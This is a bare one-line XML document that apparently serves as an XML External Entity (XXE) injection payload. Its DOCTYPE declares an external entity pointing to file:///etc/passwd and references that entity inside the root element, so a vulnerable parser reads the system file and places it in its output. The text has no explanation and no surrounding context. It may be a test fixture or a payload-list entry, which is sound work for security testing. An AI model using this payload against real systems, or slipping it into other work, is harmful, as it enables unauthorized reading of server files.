<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe PUBLIC "x" "file:///etc/passwd">]><root>&xxe;</root>